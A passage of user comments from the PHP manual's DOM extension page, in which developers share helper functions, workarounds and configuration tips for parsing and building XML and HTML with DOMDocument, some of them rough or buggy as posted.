    $children = $root->childNodes;

    if ($children->length == 1)
    {
        $child = $children->item(0);

        if ($child->nodeType == XML_TEXT_NODE)
        {
            $result['_value'] = $child->nodeValue;

            if (count($result) == 1)
                return $result['_value'];
            else
                return $result;
        }
    }

    $group = array();

    for($i = 0; $i < $children->length; $i++)
    {
        $child = $children->item($i);

        if (!isset($result[$child->nodeName]))
            $result[$child->nodeName] = dom_to_array($child);
        else
        {
            if (!isset($group[$child->nodeName]))
            {
                $tmp = $result[$child->nodeName];
                $result[$child->nodeName] = array($tmp);
                $group[$child->nodeName] = 1;
            }

            $result[$child->nodeName][] = dom_to_array($child);
        }
    }

    return $result;
}
?>
odessa131 at aol dot nospam dot com 20-Sep-2009 06:49
I had the hardest time updating a complex XML document. Here's a quick example on how to do it.

<?php

// Load the XML from a file.
$xml = "a2062.xml"; // This is an XFDL form previously unencoded and ungzipped.
$dom = new DOMDocument();
$dom->preserveWhiteSpace = false;
$dom->Load($xml);

// Create an XPath query.
// Note: you must define the namespace if the XML document has defined namespaces.
$xpath = new DOMXPath($dom);
$xpath->registerNamespace('xfdl', "http://www.PureEdge.com/XFDL/6.5");

// Locate the value for the first Item Description field.
$query = "//xfdl:page/xfdl:field[@sid='ITEMDESA']/xfdl:value";
$nodeList = $xpath->query($query);

$nodeList->item(0)->nodeValue = "This is the text in the value node of the first Item Description field inside the DA 2062 PureEdge form.";

$dom->save($xml);

?>

I hope this helps someone.
philipwaynerollins at gmail dot com 29-Jul-2009 02:06
You can get the "innerHTML" by nodeValue so

<?php
    $doc = new DOMDocument( );
    $ele = $doc->createElement( 'p', 'Sensei Ninja' );
    print $ele->nodeValue;
?>

You can even set it if you want

<?php
    $doc = new DOMDocument( );
    $ele = $doc->createElement( 'p' );
    $ele->nodeValue = 'Sensei Ninja';
    $doc->appendChild( $ele );
    print $doc->saveHTML( );
?>
Junior 20-Mar-2009 01:26
innerHTML in PHP DOM

<?php
function DOMinnerHTML($element)
{
    $innerHTML = "";
    $children = $element->childNodes;
    foreach ($children as $child)
    {
        $tmp_dom = new DOMDocument();
        $tmp_dom->appendChild($tmp_dom->importNode($child, true));
        $innerHTML.=trim($tmp_dom->saveHTML());
    }
    return $innerHTML;
}
?>

Example:

<?php
$dom= new DOMDocument();
$dom->load($html_string);
$dom->preserveWhiteSpace = false;

$domTable = $dom->getElementsByTagName("table");

foreach ($domTable as $tables)
{
    echo DOMinnerHTML($tables);
}
?>
nospam at ya dot ru 06-Jan-2009 10:18
<?PHP
function dom2array_full($node){
    $result = array();
    if($node->nodeType == XML_TEXT_NODE) {
        $result = $node->nodeValue;
    }
    else {
        if($node->hasAttributes()) {
            $attributes = $node->attributes;
            if(!is_null($attributes))
                foreach ($attributes as $index=>$attr)
                    $result[$attr->name] = $attr->value;
        }
        if($node->hasChildNodes()){
            $children = $node->childNodes;
            for($i=0;$i<$children->length;$i++) {
                $child = $children->item($i);
                if($child->nodeName != '#text')
                if(!isset($result[$child->nodeName]))
                    $result[$child->nodeName] = dom2array($child);
                else {
                    $aux = $result[$child->nodeName];
                    $result[$child->nodeName] = array( $aux );
                    $result[$child->nodeName][] = dom2array($child);
                }
            }
        }
    }
    return $result;
}
?>
fantasyman3000 at gmail dot com 06-Dec-2008 05:37
In response to "simlee at indiana dot edu",
- First of all thanks for sharing your funciton.
- It didn't work for me so i rewrite it from scratch using different method.

Here is the new version, hope it helps someone :

<?php
/**
* result sample : /html[1]/body[1]/span[1]/fieldset[1]/div[1]
* @return string
*/
function getNodeXPath( $node ) {
    $result='';
    while ($parentNode = $node->parentNode) {
        $nodeIndex=-1;
        $nodeTagIndex=0;
        do {
            $nodeIndex++;
            $testNode = $parentNode->childNodes->item( $nodeIndex );

            if ($testNode->nodeName==$node->nodeName and $testNode->parentNode->isSameNode($node->parentNode) and $testNode->childNodes->length>0) {
                //echo "{$testNode->parentNode->nodeName}-{$testNode->nodeName}-{}<br/>";
                $nodeTagIndex++;
            }

        } while (!$node->isSameNode($testNode));

        $result="/{$node->nodeName}[{$nodeTagIndex}]".$result;
        $node=$parentNode;
    };
    return $result;
}
?>

By Sina.Salek.ws
miguelangelhdz at NOSPAM dot com 22-Sep-2008 06:19
After searching how to extend the DOMDocument and DOMElement I found a way in the bug: http://bugs.php.net/bug.php?id=35104. The following code shows how:

<?php
class extDOMDocument extends DOMDocument {
 public function createElement($name, $value=null) {
  $orphan = new extDOMElement($name, $value); // new  sub-class object
  $docFragment = $this->createDocumentFragment(); // lightweight container maintains "ownerDocument"
  $docFragment->appendChild($orphan); // attach
  $ret = $docFragment->removeChild($orphan); // remove
  return $ret; // ownerDocument set; won't be destroyed on  method exit
 }
 // .. more class definition
}

class extDOMElement extends DOMElement {
 function __construct($name, $value='', $namespaceURI=null) {
  parent::__construct($name, $value, $namespaceURI);
 }
  //  ... more class definition here
}

$doc = new extDOMDocument('test');
$el = $doc->createElement('tagname');
$el->setAttribute("attr", "val");
$doc->appendChild($el);

// append discards the DOMDocumentFragment and just adds its child nodes, but ownerDocument is maintained.
echo get_class($el)."<br/>";
echo get_class($doc->documentElement)."<br/>";
echo "<xmp>".$doc->saveXML()."</xmp>";
?>
tobiasz.cudnik[at]gmail.com 29-Jul-2008 06:47
If you need simple interface to DOM check out phpQuery - jQuery port to PHP:
http://code.google.com/p/phpquery/

It uses CSS selectors to fetch nodes.
Here's example how it works:
<?php
// just one file to include
require('phpQuery/phpQuery.php');

$html = '
<div>
    mydiv
    <ul>
        <li>1</li>
        <li>2</li>
        <li>3</li>
    </ul>
</div>';

// intialize new DOM from markup
phpQuery::newDocument($markup)
    ->find('ul > li')
        ->addClass('my-new-class')
        ->filter(':last')
            ->addClass('last-li');

// query all unordered lists in last used DOM
pq('ul')->insertAfter('div');

// iterate all LIs from last used DOM
foreach(pq('li') as $li) {
    // iteration returns plain DOM nodes, not phpQuery objects
    pq($li)->addClass('my-second-new-class');
}

// same as pq('anything')->htmlOuter()
// but on document root (returns doctype etc)
print phpQuery::getDocument();
?>

It uses DOM extension and XPath so it works only in PHP5.
Sven Arduwie 16-Mar-2008 06:28
I needed a function that quickly converts an xml with key/value pairs to an array.

for example:
<?xml version="1.0" encoding="UTF-8"?>
<test>
    <key id="Array key #1" value="Value #1"/>
    <key id="Array key #2" value="Value #2"/>
    <key id="Dupe" value="Duplicate keys"/>
    <key id="Dupe" value="create numeric arrays"/>
    <key id="And another key">
        <![CDATA[
            Multiline
            data
            works
            just
            as
            well.
        ]]>
    </key>
    <nested>
        <key id="Nested key" value="Nested data works as well, but it still results in a 1 dimensional array."/>
    </nested>
</test>

Results in the following array:
array(5) {
  ["Array key #1"]=>
  string(8) "Value #1"
  ["Array key #2"]=>
  string(8) "Value #2"
  ["Dupe"]=>
  array(2) {
    [0]=>
    string(14) "Duplicate keys"
    [1]=>
    string(21) "create numeric arrays"
  }
  ["And another key"]=>
  string(49) "Multiline
            data
            works
            just
            as
            well."
  ["Nested key"]=>
  string(73) "Nested data works as well, but it still results in a 1 dimensional array."
}

Here's the code:
<?php
    function xml2array($xml) {
        $domDocument = new DOMDocument;
        $domDocument->loadXML($xml);
        $domXPath = new DOMXPath($domDocument);
        $array = array();
        foreach ($domXPath->query('//key') as $keyDOM) {
            $id = $keyDOM->getAttribute('id');
            $value = $keyDOM->hasAttribute('value') ? $keyDOM->getAttribute('value') : trim($keyDOM->textContent);
            if (array_key_exists($id, $array)) {
                if (is_array($array[$id])) {
                    $array[$id][] = $value;
                } else {
                    $array[$id] = array($array[$id]);
                    $array[$id][] = $value;
                }
            } else {
                $array[$id] = $value;
            }
        }
        return $array;
    }
?>
danf dot 1979 at []gmail[] dot com 24-Feb-2008 07:47
This is a couple of classes to deal with yahoo yui menu.

/*
  $menubar = new MenuBar();

  $file = new Menu("File");
  $file->setAttribute("href", "http://file.com");

  $quit = new Menu("Quit");
  $quit->setAttribute("href", "http://quit.com");

  $file->appendChild($quit);
  $menubar->appendChild($file);

  echo $menubar->grab();
*/

//
// Author: Daniel Queirolo.
// LGPL
//

/** ---------------------------------
/**  Class MenuBar()
/**  Creates a the menubar and appends
/**  yuimenubaritems to it.
/** ---------------------------------*/

class MenuBar extends DOMDocument
{

  public $menuID = "nav_menu";  // holds the css id that javascript yui menu code should have to recognize
  private $UL;                  // This node holds every menu, This is THE node.

  /** ---------------------------------
  /**  Constructor
  /**  Generates a menubar skeleton and the UL node
  /** ---------------------------------*/

  public function __construct() {

    parent::__construct();

    $rootdiv = parent::createElement("div");
    $rootdiv->setAttribute("class", "yui-skin-sam");

    parent::appendChild($rootdiv);

    $yui_menubar = parent::createElement("div");
    $yui_menubar->setAttribute("id", $this->menuID);
    $yui_menubar->setAttribute("class", "yuimenubar");

    $rootdiv->appendChild($yui_menubar);

    $bd = parent::createElement("div");
    $bd->setAttribute("class", "bd");

    $yui_menubar->appendChild($bd);

    $ul = parent::createElement("ul");
    $ul->setAttribute("class", "first-of-type");

    // ALL Menu() instances ocurr inside an <ul> tag.

    $this->UL = $bd->appendChild($ul);

  }

  /** ---------------------------------
  /**  appendChild()
  /**  Appends a new yuimenubaritem to the menubar UL node.
  /**  This function changes <li> and <a> classes to yuiMENUBARsomething
  /** ---------------------------------*/

  public function appendChild($child) {

    $li = parent::importNode($child->LI, true);

    $li->setAttribute("class", "yuimenubaritem");

    $li->getElementsByTagName("a")->item(0)->setAttribute("class", "yuimenubaritemlabel");

    $this->UL->appendChild($li);

  }

  public function grab() {

    return parent::saveHTML();

  }

}

/** ---------------------------------
/**  Class Menu()
/**  Creates a yuimenuitem li node
/** ---------------------------------*/

class Menu extends DOMDocument {

  public $LI; // stores the <li> node (THE link) that will be exported to MenuBar() or used on appendChild()

  /** ---------------------------------
  /**  Constructor
  /**  Generates a yuimenuitem li node
  /**  No yuimenubar items are created here. MenuBar handles that.
  /** ---------------------------------*/

  public function __construct($link_name) {

    parent::__construct();

    $li = parent::createElement("li");
    $li->setAttribute("class", "yuimenuitem");

    // LI node stores THE link.
    // if appendChild is used, the new (sub) Menu() would be LI node child.

    $this->LI = parent::appendChild($li);

    $a = parent::createElement("a", $link_name);
    $a->setAttribute("class", "yuimenuitemlabel");

    $li->appendChild($a);

    $this->li = $li;
    $this->a = $a;

  }

  /** ---------------------------------
  /**  appendChild
  /**  Appends a (sub) Menu() to current Menu() in LI
  /** ---------------------------------*/

  public function appendChild($child) {

    $yuimenu = parent::createElement("div");
    $yuimenu->setAttribute("class", "yuimenu");

    $this->LI->appendChild($yuimenu);

    $bd = parent::createElement("div");
    $bd->setAttribute("class", "bd");

    $yuimenu->appendChild($bd);

    $ul = parent::createElement("ul");

    $bd->appendChild($ul);

    // child->NODE holds THE link from the new child (from child's __construct())

    $ul->appendChild(parent::importNode($child->LI, true));

  }

  public function setAttribute($name, $value, $node="a") {

      if ($node == "a") {
        $this->a->setAttribute($name, $value);
      }

      else {
        $this->li->setAttribute($name, $value);
      }
  }

}
Anonymous 29-Jan-2008 11:37
In response to...
"If you create your own custom element extending DOMElement and append him in place of the document element, you cannot access to any new members newly defined in your custom class via DOMDocument::$documentElement."

... it is not a bug, it is a feature. The DOMDocument::$documentElement property name may be misleading but according to the DOM Level 2 Core specification it is a convenience attribute meant to access the root element of your DOMDocument. See here: http://www.w3.org/TR/DOM-Level-2-Core/core.html#i-Document
ryoroxdahouse at hotmail dot com 25-Jan-2008 12:14
I use DOM to generate dynamically XHTML document.

When trying to extend the DOMDocument and DOMElement classes, I found a very annoying bug concerning DOMDocument::$documentElement.

If you create your own custom element extending DOMElement and append him in place of the document element, you cannot access to any new members newly defined in your custom class via DOMDocument::$documentElement.

In my situation, I cannot use DOMDocument::registerNodeClass() because the document element is not necessarily the base class for all the elements in my document.

*******
problem
*******

See bellow for the repro step:

<?php
    class MyElement extends DOMElement{
        public $myProp="myProp";
        public function myMethod(){
            return 'myMethod()';
        }
    }

    $myDocument=new DOMDocument();
    $myDocument->appendChild(new MyElement('myElement','myElement'));
    echo ('$myElement->myProp :'.$myDocument->documentElement->myProp.'<br />');
    echo ('$myElement->myMethod :'.$myDocument->documentElement->myMethod().'<br />');
?>

will output:

Notice: Undefined property: DOMElement::$myProp in C:\Program Files\EasyPHP 2.0b1\www\testDOMBug\test2.php on line 11
$myElement->myProp :

Fatal error: Call to undefined method DOMElement::myMethod() in C:\Program Files\EasyPHP 2.0b1\www\testDOMBug\test2.php on line 12

*******
solution
*******

After searching around, I found a pretty odd way to fix this problem. It seems that you have to stock a reference to your appended document element in an user-defined (and persistent) variable (in other words, not only in DOMDocument::$documentElement). See below:

<?php
    class MyElement extends DOMElement{
        public $myProp="myProp";
        public function myMethod(){
            return 'myMethod()';
        }
    }

    $myDocument=new DOMDocument();
    $mydocumentElement=$myDocument->appendChild(new MyElement('myElement','myElement')); //here is the hack
    echo ('$myElement->myProp :'.$myDocument->documentElement->myProp.'<br />');
    echo ('$myElement->myMethod :'.$myDocument->documentElement->myMethod().'<br />');
?>

will output:

$myElement->myProp :myProp
$myElement->myMethod :myMethod()

Hope it will help.
naudyj at aus3d.com 03-Jan-2008 05:06
The following can take a XML_TEXT_NODE node and return the contents in an array. Yanick's contribution rocks - but
it overwrote with duplicates only keeping the last line
in the returned array. All the other functions i tested from various sources failed to handle text nodes correctly. Hope this helps someone. It is adapted from code on this site.

function myTextNode($n, &$a)
{
 static $depth = 0;
 static $sz = '';

 if ($cn = $n->firstChild)
 {
  while ($cn)
  {
   if ($cn->nodeType == XML_TEXT_NODE)
   {
    $sz .= $cn->nodeValue;
   }
   elseif ($cn->nodeType == XML_ELEMENT_NODE)
   {
    $b = 1;
    if ($cn->hasChildNodes())
    {
     $depth++;
     if ($this->myHeadings($cn, $a))
     {
      if ($sz){
       array_push($a, $sz);
       $sz = '';
      }
     }
     $depth--;
    }
   }
   $cn = $cn->nextSibling;
  }
  return $b;
 }
}

so you could use:

$nodes = $dom->getElementsByTagName("td");
if($nodes){
 foreach ($nodes as $node){
  $a = Array();
  myTextNode($node, $a);
 }
}
jim.filter (at gmail.com) 03-Nov-2007 07:42
Array to DOM

Here is a recursive function to turn a multidimensional array into an XML document.  It will handle multiple elements of the same tag, but only one per parent element. IE:

Can't generate:         Can generate:
<root>                  <root>
  <sub1>data1</sub1>      <subs1>
  <sub1>data2</sub1>         <value>data1</value>
  <sub2>data1</sub2>         <value>data2</value>
  <sub2>data2</sub2>      </subs1>
</root>                   <subs2>
                            <value>data1</value>
                            <value>data2</value>
                          <subs2>
                        </root>

Also, the function performs no type of error checking on your array and will throw a DOMException if a key value you used in your array contains invalid characters for a proper DOM tag. This function is untested for "deep" multidimensional arrays.

Complete code ready to run with example:

<?PHP
  function AtoX($array, $DOM=null, $root=null){

    if($DOM  == null){$DOM  = new DOMDocument('1.0', 'iso-8859-1');}
    if($root == null){$root = $DOM->appendChild($DOM->createElement('root'));}

    $name = $array['#MULTIPLE_ELEMENT_NAME'];

      foreach($array as $key => $value){
        if(is_int($key) && $name != null){
          if(is_array($value)){
            $subroot = $root->appendChild($DOM->createElement($name));
            AtoX($value, $DOM, $subroot);
          }
          else if(is_scalar($value)){
            $root->appendChild($DOM->createElement($name, $value));
          }
        }
        else if(is_string($key) && $key != '#MULTIPLE_ELEMENT_NAME'){
          if(is_array($value)){
            $subroot = $root->appendChild($DOM->createElement($key));
            AtoX($value, $DOM, $subroot);
          }
          else if(is_scalar($value)){
            $root->appendChild($DOM->createElement($key, $value));
          }
        }
      }
    return $DOM;
  }

  $array = array(
                    '#MULTIPLE_ELEMENT_NAME' => 'GenericDatas',
                    'Date'      => 'November 03, 2007',
                    'Company'   => 'Facility One',
                    'Field'     => 'Facility Management Software',
                    'Employees' => array(
                                      '#MULTIPLE_ELEMENT_NAME' => 'Employee',
                                      'Cindy',
                                      'Sean',
                                      'Joe',
                                      'Owen',
                                      'Jim',
                                      'Dale',
                                      'Kelly',
                                      'Ryan',
                                      'Johnathan',
                                      'Robin',
                                      'William Marcus',
                                      'NewCoops' => array(
                                                          '#MULTIPLE_ELEMENT_NAME' => 'Coop',
                                                          'John',
                                                          'Tyler',
                                                          'Ray',
                                                          'Dawn'
                                                         )
                                    ),
                    'Datas',
                    'DATAS',
                    'OtherDatas'
                );

  $DOM  = new DOMDocument('1.0', 'iso-8859-1');
  $root = $DOM->appendChild($DOM->createElement('CompanyData'));
  $DOM  = AtoX($array, $DOM, $root);
  $DOM->save('C:\test.xml');
?>
PHPdeveloper 06-Sep-2007 02:46
The Yanik's dom2array() function (added on 14-Mar-2007 08:40) does not handle multiple nodes with the same name, i.e.:

<foo>
  <name>aa</name>
  <name>bb</name>
</foo>

It will overwrite former and your array will contain just the last one ("bb")
Francois Hill 01-Aug-2007 11:21
In response to lutfi at smartconsultant dot us :

(see my post on
http://fr2.php.net/manual/en/
function.dom-domdocument-getelementsbytagname.php
)

Use this class I wrote:

class XPathableNode extends DOMNode
{
    protected $Node;
    protected $DOMDocument_from_node;
    protected $DOMXpath_for_node;

    public function __construct(/* DOMNode */ $node)
    {
        $this->Node=$node;
        $this->DOMDocument_from_node=new
                                                          DomDocument();
        $domNode=$this->DOMDocument_from_node
                                  ->importNode($this->Node, true);
        $this->DOMDocument_from_node
                                 ->appendChild($domNode);
        $this->DomXpath_for_node =
                    new Domxpath($this->
                                         DOMDocument_from_node);
    }

    public function convertHTML()
    {    return $this->DOMDocument_from_node
                                                             ->saveHTML();
    }

    public /*DomNodeList*/ function applyXpath($xpath)
    {    return $this->DomXpath_for_node
                                                       ->query($xpath);
    }
}

(sorry for the display... What a terrible hinderance on the
part of php.net !)

Then :
Make a new XPathableNode out of your parent node.
You may then retrieve a DOMNodeList from it by applying a
xpath (thus being able to specify the depth  and name of
elements you want).

Has got me around some (of the many) DOM awkwardnesses a few times.

;o)
Sanados at failure dot at 05-Jun-2007 02:45
appended to
brian dot reynolds at risaris dot com
20-Feb-2007 10:09

when you got variable nodes at start you array fails and looses nodes  beneath.
solution that counts occurance though eats up performance:

function xmlToArray($n)
{
    $xml_array = array();
    $occurance = array();

     foreach($n->childNodes as $nc)
     {
         $occurance[$nc->nodeName]++;
     }

    foreach($n->childNodes as $nc){
        if( $nc->hasChildNodes() )
        {
            if($occurance[$nc->nodeName] > 1)
            {
                $xml_array[$nc->nodeName][] = xmlToArray($nc);
            }
            else
            {
                $xml_array[$nc->nodeName] = xmlToArray($nc);
            }
        }
        else
        {
            return utf8_decode($nc->nodeValue);
        }
    }
    return $xml_array;
}
Yanik <clonyara(at)ahoo(dot)com> 13-Mar-2007 11:40
I hate DOM model !
so I wrote dom2array simple function (simple for use):

function dom2array($node) {
  $res = array();
  print $node->nodeType.'<br/>';
  if($node->nodeType == XML_TEXT_NODE){
      $res = $node->nodeValue;
  }
  else{
      if($node->hasAttributes()){
          $attributes = $node->attributes;
          if(!is_null($attributes)){
              $res['@attributes'] = array();
              foreach ($attributes as $index=>$attr) {
                  $res['@attributes'][$attr->name] = $attr->value;
              }
          }
      }
      if($node->hasChildNodes()){
          $children = $node->childNodes;
          for($i=0;$i<$children->length;$i++){
              $child = $children->item($i);
              $res[$child->nodeName] = dom2array($child);
          }
      }
  }
  return $res;
}
Nevyn at N dot O dot S dot P dot A dot M dot emai dot it 10-Mar-2007 07:35
I wrote a couple of functions to:
 - create a DOMDocument from a file
 - parse the namespaces in it
 - create a XPath object with all the namespaces registered
 - load the schemalocations
 - validate the file on the main schema (the one without prefix)

It is useful for me, see if it is also for someone else!!

Giulio

function decodeNode($node)
{
    $out = $node->ownerDocument->saveXML($node);
    $re = "{^<((?:\\w*:)?\\w*)". //the tag name
    "[\\s\n\r]*((?:[\\s\n\r]*".
    "(?:\\w*:)?\\w+[\\s\n\r]*=[\\s\n\r]*". //possible attribute name
    "(?:\"[^\"]*\"|\'[^\']*\'))*)". //attribute value
    "[\\s\n\r]*>[\r\n]*".
    "((?:.*[\r\n]*)*)". //content
    "[\r\n]*</\\1>$}"; //closing tag
    preg_match($re, $out, $mat);
    return $mat;
}

function innerXml($node)
{
    $mat = decodeNode($node);
    return $mat[3];
}

function getnodeAttributes($node)
{
    $mat = decodeNode($node);
    $txt = $mat[2];
    $re = "{((?:\\w*:)?\\w+)[\\s\n\r]*=[\\s\n\r]*(\"[^\"]*\"|\'[^\']*\')}";
    preg_match_all($re, $txt, $mat);
    $att = array();
    for ($i=0; $i<count($mat[0]); $i++)
    {
        $value = $mat[2][$i];
        if ($value[0] == "\'" || $value[0] == "\"")
        {
            $len = strlen($value);
            $value = substr($value, 1, strlen($value)-2);
        }
        $att[ $mat[1][$i] ] = $value;
    }
    return $att;
}

function loadXml($file)
{
    $doc = new DOMDocument();
    $doc->load($file);
    //cerca l'attributo xmlns
    $xsi = false;
    $doc->namespaces = array();
    $doc->xpath = new DOMXPath($doc);

    $attr = getnodeAttributes($doc->documentElement);
    foreach ($attr as $name => $value)
    {
        if (substr($name,0,5) == "xmlns")
        {
            $uri = $value;
            $pre = $doc->documentElement->lookupPrefix($uri);
            if ($uri == "http://www.w3.org/2001/XMLSchema-instance")
                $xsi = $pre;
            $doc->namespaces[$pre] = $uri;
            if ($pre == "")
                $pre = "noname";
            $doc->xpath->registerNamespace($pre, $uri);
        }
    }

    if ($xsi)
    {
        $doc->schemaLocations = array();
        $lst = $doc->xpath->query("//@$xsi:schemaLocation");
        foreach($lst as $el)
        {
            $re = "{[\\s\n\r]*([^\\s\n\r]+)[\\s\n\r]*([^\\s\n\r]+)}";
            preg_match_all($re, $el->nodeValue, $mat);
            for ($i=0; $i<count($mat[0]); $i++)
            {
                $value = $mat[2][$i];
                $doc->schemaLocations[ $mat[1][$i] ] = $value;
            }
        }

        $olddir = getcwd();
        chdir(dirname($file));
        $schema = $doc->schemaLocations[$doc->namespaces[""]];
        if (substr($schema,0,7) == "file://")
        {
            $schema = substr($value,7);
        }
        if (!$doc->schemaValidate($schema))
            dbg()->err("Invalid file");
        chdir($olddir);
    }

    return $doc;
}
brian dot reynolds at risaris dot com 20-Feb-2007 01:09
I found the xml2array function below very useful, but there seems to be a bug in it. The $item variable was never getting set. I've expanded this out to be a bit more readable, and the corrected code is :

function xmlToArray($n)
{
    $return=array();

    foreach($n->childNodes as $nc){
        if( $nc->hasChildNodes() ){
            if( $n->firstChild->nodeName== $n->lastChild->nodeName&&$n->childNodes->length>1){
                $item = $n->firstChild;
                $return[$nc->nodeName][]=$this->xmlToArray($item);
            }
            else{
                 $return[$nc->nodeName]=$this->xmlToArray($nc);
            }
       }
       else{
           $return=$nc->nodeValue;
       }
    }
    return $return;
}
cooper at asu dot ntu-kpi dot kiev dot ua 22-Nov-2006 02:32
If you are using not object-oriented functions and it takes too much time to change them all (or you'll be replacing them later) then as a temporary decision can be used this modules:

For DOM XML:
http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/

For XSLT:
http://alexandre.alapetite.net/doc-alex/xslt-php4-php5/
sean at lookin3d dot com 17-Aug-2006 10:21
$xmlDoc=<<<XML
<?xml version="1.0"?>
<methodCall>
   <methodName>examples.getStateName</methodName>
   <params>
      <param>
         <value><i4>41</i4></value>
         </param>
      </params>
   </methodCall>
XML;

$xml= new DOMDocument();
$xml->preserveWhiteSpace=false;
$xml->loadXML($xmlDoc);
print_r(xml2array($xml));

function xml2array($n)
{
    $return=array();
    foreach($n->childNodes as $nc)
    ($nc->hasChildNodes())
    ?($n->firstChild->nodeName== $n->lastChild->nodeName&&$n->childNodes->length>1)
    ?$return[$nc->nodeName][]=xml2array($item)
    :$return[$nc->nodeName]=xml2array($nc)
    :$return=$nc->nodeValue;
    return $return;
}
simlee at indiana dot edu 29-Dec-2005 12:16
The project I'm currently working on uses XPaths to dynamically navigate through chunks of an XML file.  I couldn't find any PHP code on the net that would build the XPath to a node for me, so I wrote my own function.  Turns out it wasn't as hard as I thought it might be (yay recursion), though it does entail using some PHP shenanigans...

Hopefully it'll save someone else the trouble of reinventing this wheel.

<?php
    function getNodeXPath( $node ) {
        // REMEMBER THAT XPATHS USE BASE-1 INSTEAD OF BASE-0!!!

        // Get the index for the current node by looping through the siblings.
        $parentNode = $node->parentNode;
        if( $parentNode != null ) {
            $nodeIndex = 0;
            do {
                $testNode = $parentNode->childNodes->item( $nodeIndex );
                $nodeName = $testNode->nodeName;
                $nodeIndex++;

                // PHP trickery!  Here we create a counter based on the node
                //  name of the test node to use in the XPath.
                if( !isset( $$nodeName ) ) $$nodeName = 1;
                else $$nodeName++;

                // Failsafe return value.
                if( $nodeIndex > $parentNode->childNodes->length ) return( "/" );
            } while( !$node->isSameNode( $testNode ) );

            // Recursively get the XPath for the parent.
            return( getNodeXPath( $parentNode ) . "/{$node->nodeName}[{$$nodeName}]" );
        } else {
            // Hit the root node!  Note that the slash is added when
            //  building the XPath, so we return just an empty string.
            return( "" );
        }
    }
?>
johanwthijs-at-hotmail-dot-com 14-Dec-2005 06:25
Being an experienced ASP developer I was wondering how to replace textual content of a node (with msxml this is simply acheived by setting the 'text' property of a node). Out of frustration I started to play around with SimpleXml but I could not get it to work in combination with xPath.

I took me a lot of time to find out so I hope this helps others:

function replaceNodeText($objXml, $objNode, $strNewContent){
    /*
    This function replaces a node's string content with strNewContent
    */
    $objNodeListNested = &$objNode->childNodes;
    foreach ( $objNodeListNested as $objNodeNested ){
         if ($objNodeNested->nodeType == XML_TEXT_NODE)$objNode->removeChild ($objNodeNested);
    }

    $objNode->appendChild($objXml->createTextNode($strNewContent));
}

$objXml= new DOMDocument();
$objXml->loadXML('<root><node id="1">bla</note></root>');
$objXpath = new domxpath($objXml);

$strXpath="/root/node[@id='1']";
$objNodeList = $objXpath ->query($strXpath);
foreach ($objNodeList as $objNode){
//pass the node by reference
replaceNodeText($objXml, &$objNode, $strImportedValue);
}
mark at vectrex dot org dot uk 17-Nov-2005 02:10
Note that these DOM functions expect (and presumably return) all their data in UTF-8 character encoding, regardless of what PHP's current encoding is. This means that text nodes, attribute values etc, should be in utf8.

This applies even if you're generating an XML document which is not ultimately in utf8.

Mark
toby at tobiasly dot com 22-Oct-2005 11:08
This module is not included by default either in the CentOS 4 "centosplus" repository. For those using PHP5 on CentOS 4, a simple "yum --enablerepo=centosplus install php-xml" will do the trick (this will install both the XML and DOM modules).
pes_cz 29-Sep-2005 12:32
When I tried to parse my XHTML Strict files with DOM extension, it couldn't understand xhtml entities (like &copy;). I found post about it here (14-Jul-2005 09:05) which adviced to add resolveExternals = true, but it was very slow. There was some small note about xml catalogs but without any glue. Here it is:

XML catalogs is something like cache. Download all needed dtd's to /etc/xml, edit file /etc/xml/catalog and add this line: <public publicId="-//W3C//DTD XHTML 1.0 Strict//EN" uri="file:///etc/xml/xhtml1-strict.dtd" />

Thats all. Thanks to http://www.whump.com/moreLikeThis/link/03815
amir.laherATcomplinet.com 22-Aug-2005 05:09
This particular W3C page provides invaluable documentation for the DOM classes implemented in php5 (via libxml2). It fills in plenty of php.net's gaps:

http://www.w3.org/TR/DOM-Level-2-Core/core.html

Some key examples:
* concise summary of the class heirachy (1.1.1)
* clarification that DOM level 2 doesn't allow for population of internal DTDs
* explanation of DOMNode->normalize()
* explanation of the DOMImplementation class

The interfaces are described in OMG's Interface Definition Language
aidan at php dot net 19-Jul-2005 06:04
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
aidan at php dot net 18-Jul-2005 08:27
When dealing with validation or loading, the output errors can be quite annoying.

PHP 5.1 introduces libxml_get_errors().

http://php.net/libxml_get_errors
php at webdevelopers dot cz 14-Jul-2005 12:05
[Editor's Note: If you're using entities, then you have no choice. XML Catalogs can speed DTD resolution.]

Never use

$dom->resolveExternals=true;

when parsing XHTML document that has the DOCTYPE declaration with DTD URL specified in it.

Otherwise parsing the XHTML with DOCTYPE like this one:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

will result in PHP/DOM downloading the DTD file from W3C site when parsing your document. It will add extra delay to your script - I experienced that $dom->load()'s total time was from 1 to 16 seconds.

elixon
spammable69 at hotmail dot com 11-Apr-2005 10:18
I wrote a framework to implement the StyleSheet interfaces as specified on the W3C website.  The code is written in PHP, and is NOT a complete implementation.  Use it how ya like.  I was planning on adding the CSSStyleSheet interfaces as well.  Feel free to ask.

<?
    class StyleSheetList {
        public length;
        private self;

        function __construct ( ) {
            $this->self = array();
        }

        function __get($property, $&ret) {
            if($property == 'length')
                $ret = count($this->self);
            return true;
        }

        function __set($property, $val) {
            if($property == 'length')
                return true;
        }

        function item( $index ) {
            return $this->self[$index];
        }
    }

    class MediaList extends StyleSheetList {

        function appendMedium ( $newMedium ) {
            array_push($this->self, $newMedium);
        }

        function deleteMedium ( $oldMedium ) {
            foreach($this->self as $item) {
                if( $item == $oldMedium ) {
                    $item = $this->self[ $this->length-1 ];
                    array_pop($this->self);
                    break;
                }
            }
        }
    }

    class DocumentStyle {
        public styleSheets;

        function __construct ( ) {
            $this->styleSheets = new StyleSheetList();
        }

        function __set($property, $val) {
            if($property == 'styleSheets')
                return true;
        }
    }

    class LinkStyle {
        public sheet;

        function __construct () {
            $this->sheet = new StyleSheet();
        }

        function __set($property, $val) {
            if($property == 'sheet')
                return true;
        }
    }

    class StyleSheet {
        public type;
        public disabled;
        public ownerNode;
        public parentStyleSheet;
        public href;
        public title;
        public media;

